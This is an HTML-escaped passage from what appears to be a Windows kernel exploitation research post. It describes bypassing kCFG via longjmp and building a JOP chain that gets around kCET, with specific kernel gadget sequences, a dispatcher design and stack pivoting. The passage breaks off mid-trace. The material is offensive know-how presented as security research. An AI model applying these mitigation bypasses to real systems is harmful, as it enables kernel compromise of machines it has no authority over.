class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rbp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This would be an ideal function to call to bypass the requirements of kCFG, but &lt;code&gt;__longjmp_internal&lt;/code&gt; is not a valid call target. However, &lt;code&gt;longjmp&lt;/code&gt; is a valid call target, so let&amp;rsquo;s review  &lt;code&gt;KeCheckStackAndTargetAddress&lt;/code&gt; to see what constraints we have:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;KeCheckStackAndTargetAddress&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;size_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Rip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;size_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;size_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StackLimit&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;size_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StackBase&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Rip&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x8000000000000000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;BOOL&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;success&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;KeQueryCurrentStackInformationEx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;unused&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StackBase&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StackLimit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;success&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FALSE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StackBase&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StackLimit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;__debugbreak&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Regarding the new &lt;code&gt;RIP&lt;/code&gt; value, the only constraint is that it is a kernel address, so no real issue here. The new &lt;code&gt;RSP&lt;/code&gt; value has a constraint: it must be within the bounds of the kernel stack of the current thread.&lt;/p&gt;&#xA;&lt;p&gt;Starting with version &lt;code&gt;24H2&lt;/code&gt;, new &lt;a href=&#34;https://windows-internals.com/kaslr-leaks-restriction/&#34;&gt;restrictions&lt;/a&gt; on KASLR leaks are in place, which would prevent unprivileged users from getting an easy kernel stack address leak. While this can be an issue for exploiting a privilege escalation vulnerability, this isn&amp;rsquo;t a problem when targeting &amp;ldquo;admin-to-kernel&amp;rdquo; scenarios.&lt;/p&gt;&#xA;&lt;p&gt;This makes &lt;code&gt;longjmp&lt;/code&gt; an interesting function to call to break the forward-edge integrity enforced by kCFG, if you have control over the 1st argument, and have a stack address leak.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crafting-a-jop-chain&#34;&gt;Crafting a JOP chain&lt;/h2&gt;&#xA;&lt;p&gt;Now that kCFG is no longer a concern, we can start reusing kernel code by jumping on a gadget in the middle of a function (or instruction), just like a standard ROP chain. The gadget cannot end in a &lt;code&gt;ret&lt;/code&gt;, because kCET is still in place, instead, it must end on an indirect &lt;code&gt;jmp&lt;/code&gt; or a &lt;code&gt;call&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unlike ROP chains, JOP chains have an additional difficulty: there is nothing maintaining and updating the state of the execution of the chain. After the execution of a gadget, there is nothing that makes the control flow go to the next gadget. While it is possible to prepare the register used in the indirect &lt;code&gt;jmp&lt;/code&gt; or &lt;code&gt;call&lt;/code&gt; at the end of the gadget to branch to the next gadget directly, this doesn&amp;rsquo;t work as the chain gets bigger. This would require preparing too many registers, and create additional constraints for the gadgets themselves. Given that JOP gadgets are also less convenient than ROP gadgets, this quickly makes creating JOP chain too complex, so an alternative solution is needed.&lt;/p&gt;&#xA;&lt;p&gt;On a ROP chain, this is implicitly done when a &lt;code&gt;ret&lt;/code&gt; instruction is executed at the end of a ROP gadget, the control flow goes to the next gadget, and at the same time, the stack pointer gets updated and now holds the address of the following gadget.&lt;/p&gt;&#xA;&lt;p&gt;To replicate this behavior when creating a JOP chain, one can use a &amp;ldquo;dispatcher&amp;rdquo; gadget, whose role is to link together all the pieces of the JOP chain. When the execution of any gadget completes, the execution must come back to the dispatcher gadget, which will update the state of the JOP chain, and jump to the next gadget.&lt;/p&gt;&#xA;&lt;p&gt;This gadget is crucial, and will affect the design of the entire chain of gadgets, so finding this gadget first is a good idea.&lt;/p&gt;&#xA;&lt;h3 id=&#34;jop-dispatchers&#34;&gt;JOP dispatchers&lt;/h3&gt;&#xA;&lt;p&gt;I identified two gadgets that could fulfill my requirements. The first one corresponds to the &lt;code&gt;nt!HalpLMIdentityStub&lt;/code&gt; symbol:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;edi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;edi&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rdi&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rdi&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xa0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rdi&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x78&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This could work starting from the first instruction, abusing the fact that SMAP is not enabled in most contexts on Windows, or starting from the second instruction. In this dispatcher, &lt;code&gt;rdi&lt;/code&gt; serves  as the register that gets updated to hold the address of the next gadget.&#xA;The downside of this gadget is that the &lt;code&gt;rcx&lt;/code&gt; register gets clobbered with the address of our target gadgets, which is inconvenient when targeting functions with the &lt;code&gt;fastcall&lt;/code&gt; convention, where &lt;code&gt;rcx&lt;/code&gt; holds the first argument.&lt;/p&gt;&#xA;&lt;p&gt;I initially started using this gadget to make a working JOP chain, and then switched to the gadget I describe below because it is more powerful - but it is clearly possible to build a JOP chain around this dispatcher.&lt;/p&gt;&#xA;&lt;p&gt;The second gadget I found is located at the end of &lt;code&gt;nt!_guard_retpoline_exit_indirect_rax&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x38&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r9&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x48&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This gadget is slightly different. This time, the register holding the address of the next gadget is &lt;code&gt;rsp&lt;/code&gt;. If we could execute this in a loop, this would be perfect, we would &lt;code&gt;call&lt;/code&gt; an arbitrary address, update the arguments, then &lt;code&gt;jmp&lt;/code&gt; back to the &lt;code&gt;call&lt;/code&gt; instruction. Unfortunately, both the &lt;code&gt;jmp&lt;/code&gt; and &lt;code&gt;call&lt;/code&gt; instructions use the &lt;code&gt;rax&lt;/code&gt; register.&lt;/p&gt;&#xA;&lt;p&gt;To get around this, we start the execution on the &lt;code&gt;mov rax, qword [rsp + 0x20]&lt;/code&gt; instruction, prepare the arguments for our target function, then jump to a JOP gadget that can update &lt;code&gt;rax&lt;/code&gt; without modifying other registers. I picked the following gadget: &lt;code&gt;pop rax ; push rdi ; cmc ; jmp qword [rsi+0x3B] ;&lt;/code&gt;. Only the &lt;code&gt;pop rax&lt;/code&gt; and &lt;code&gt;jmp qword [rsi+0x3B]&lt;/code&gt; are relevant, but JOP gadgets are less convenient. The &lt;code&gt;pop rax&lt;/code&gt; instruction updates &lt;code&gt;rax&lt;/code&gt; with the value of the target function, read from the stack, and &lt;code&gt;rsi&lt;/code&gt; is prepared beforehand so that &lt;code&gt;*(rsi+0x3B)&lt;/code&gt; points to the &lt;code&gt;call rax&lt;/code&gt;. With this, we can loop around this gadget, and &lt;code&gt;call&lt;/code&gt; arbitrary addresses, while also controlling every arguments.&lt;/p&gt;&#xA;&lt;p&gt;There is also a big upside to this gadget: it uses a &lt;code&gt;call&lt;/code&gt; instruction, which means it is possible to execute &lt;code&gt;ret&lt;/code&gt;-ending gadgets, just like in a ROP chain!&#xA;Typical ROP gadgets, for example &lt;code&gt;pop rdi ; pop rsi ; ret ;&lt;/code&gt; can work - &lt;code&gt;rdi&lt;/code&gt; gets the return address pushed by the &lt;code&gt;call rax&lt;/code&gt; instruction, &lt;code&gt;rsi&lt;/code&gt; gets the value of interest, and the following address on the stack must be the address of the &lt;code&gt;mov rax, qword [rsp + 0x20]&lt;/code&gt; instruction, to comply with kCET. This works because fundamentally, Intel CET checks the return value on the stack with the shadow stack, but not the address where it was originally pushed to.&lt;/p&gt;&#xA;&lt;p&gt;With this, we can chain function calls and ROP gadgets&lt;/p&gt;&#xA;&lt;h3 id=&#34;saving-the-return-value--pivoting-stacks&#34;&gt;Saving the return value &amp;amp; pivoting stacks&lt;/h3&gt;&#xA;&lt;p&gt;Now, the only thing that is missing is the ability to save and reuse the return value of function calls. The return value in &lt;code&gt;rax&lt;/code&gt; immediately gets overwritten by the &lt;code&gt;mov rax, qword [rsp + 0x20]&lt;/code&gt; instruction of our dispatcher.&lt;/p&gt;&#xA;&lt;p&gt;To address this issue, the &lt;code&gt;call rax&lt;/code&gt; instruction is not going to directly call the target function, but another gadget containing another &lt;code&gt;call&lt;/code&gt; instruction. The one I picked is the following : &lt;code&gt;call rbp ; jmp qword [rsi-0x77] ;&lt;/code&gt;. If &lt;code&gt;rbp&lt;/code&gt; is setup to have the address of the target function, we can gain control of the execution after the target function, where &lt;code&gt;rax&lt;/code&gt; has not been destroyed yet.&lt;/p&gt;&#xA;&lt;p&gt;To save &lt;code&gt;rax&lt;/code&gt;, I used this gadget:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rbx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x60&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdi&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When it returns, kCET forces the return address to be the second instruction of the JOP dispatcher, but this is fine, because the return value has been saved at &lt;code&gt;*rsi&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And, to actually reuse the return value, I split the JOP each time the return value needed to be reused. This way, I could &lt;code&gt;memcpy&lt;/code&gt; the value saved to the next part of the payload, and used a &lt;code&gt;pop rsp ; ret ;&lt;/code&gt; gadget to switch from one part of the payload to the next.&lt;/p&gt;&#xA;&lt;p&gt;Here is a trace to follow of the execution flow of the JOP chain.&lt;/p&gt;&#xA;&lt;details&gt;&#xA;    &lt;summary&gt;Click to expand&lt;/summary&gt;&#xA;    &lt;div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; set arguments for function call, and rax to the address of the &amp;#34;pop rax&amp;#34; gadget&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; set rax to the address of the &amp;#34;call rbp ; jmp [rsi-0x77]&amp;#34; gadget &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span 